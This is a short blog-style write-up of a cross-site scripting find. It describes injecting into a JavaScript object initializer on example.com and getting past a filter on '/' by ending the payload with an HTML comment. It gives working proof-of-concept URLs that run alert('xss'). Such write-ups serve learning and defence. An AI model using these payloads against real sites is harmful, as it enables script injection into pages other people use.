I recently came up against the following injection (simplified for the purposes of this post):


var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar" };

This is Injection into a JavaScript object initializer.

OK… let’s try the obvious:

https://example.com/foo.php?r=foobar"}; alert('xss');

which renders

var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar"}; alert('xss');" };

Don’t forget to use that scrollbar! And ofc the parameters are percent encoded, but shown here plain for your enjoyment.

However, no popup. Chrome developer tools said

Uncaught SyntaxError: Invalid or unexpected token

and Firefox’s said:

SyntaxError: unterminated string literal

So lets try removing the trailing script by commenting it out:

https://example.com/foo.php?r=foobar"}; alert('xss');//

but this rendered

var foo = { "name" : "peter", "email" : "peter@example.com", reason : "" };

Our old friend, filtering. We meet again.

OK, let’s try terminating the script tag and making a new one:


but this rendered

var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar<" };

Hmm, not quite what we wanted. Wonder if that’s a genuine filter case, or whether the // comment filter is going wrong? Or this filter is intended, and the other is a side-effect. Who knows? Whatever.

OK, so < seems to work, but we can’t comment as / is filtered. I was stumped for a while, lunchtime came, I went for a Boots sandwich and then came back to my desk to sulk.

Then it hit me. If JavaScript comments don’t work, how about HTML comments?

https://example.com/foo.php?r=foobar"}; alert('xss');<!--

which rendered

var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar"}; alert('xss');<!--" };



XSS Screenshot

Why does this work? See the spec.